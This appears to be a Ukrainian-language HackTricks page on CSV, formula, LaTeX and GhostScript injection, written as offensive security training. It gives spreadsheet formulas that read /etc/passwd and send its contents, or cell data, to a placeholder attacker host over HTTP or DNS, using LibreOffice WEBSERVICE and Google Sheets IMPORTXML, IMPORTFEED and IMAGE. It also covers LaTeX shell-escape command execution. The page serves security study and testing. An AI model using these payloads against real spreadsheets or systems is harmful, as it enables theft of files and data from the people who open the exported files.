Formula/CSV/Doc/LaTeX/GhostScript Injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Якщо ваш вхід відображається всередині CSV файлів (або будь-якого іншого файлу, який, ймовірно, буде відкритий в Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриває файл або коли користувач натискає на деяке посилання всередині таблиці Excel.
Сьогодні Excel попередить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль до соціальної інженерії для фінального payload.
Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).
Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit
Уявіть собі порушення безпеки в системі управління записами студентів, яке експлуатується через атаку CSV-ін'єкції. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код в додаток, зокрема, вводячи шкідливі формули в поля, призначені для даних студентів. Атака розгортається наступним чином:
Ін'єкція шкідливого коду:
Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, =HYPERLINK("<malicious_link>","Click here")
).
Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
Експорт скомпрометованих даних:
Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у CSV-файл.
CSV-файл, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
Активація атаки:
Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
Логування даних:
Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.
Перевірте оригінальний пост для отримання додаткових деталей.
У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:
Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування Центру управління безпекою → Зовнішній вміст, і активуйте Запуск сервера динамічного обміну даними.
Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:
Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:
LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:
Читання першого рядка з локального файлу /etc/passwd
: ='file:///etc/passwd'#$passwd.A1
Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Ексфільтрація більше ніж одного рядка: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:
CONCATENATE: Об'єднує рядки - =CONCATENATE(A2:E2)
IMPORTXML: Імпортує дані з структурованих типів даних - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Імпортує RSS або ATOM стрічки - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Імпортує дані з HTML таблиць або списків - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Імпортує діапазон клітинок з іншої таблиці - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Вставляє зображення в клітинку - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Зазвичай сервери, які можна знайти в інтернеті, що перетворюють LaTeX код на PDF, використовують pdflatex
.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
--no-shell-escape
: Вимкнути конструкцію \write18{command}
, навіть якщо вона увімкнена у файлі texmf.cnf.
--shell-restricted
: Те ж саме, що і --shell-escape
, але обмежено 'безпечним' набором попередньо визначених **команд (**На Ubuntu 16.04 список знаходиться в /usr/share/texmf/web2c/texmf.cnf
).
--shell-escape
: Увімкнути конструкцію \write18{command}
. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати --shell-restricted
.
Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як [ або $.
Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб отримати їх.
Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.
Від @EdOverflow
Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)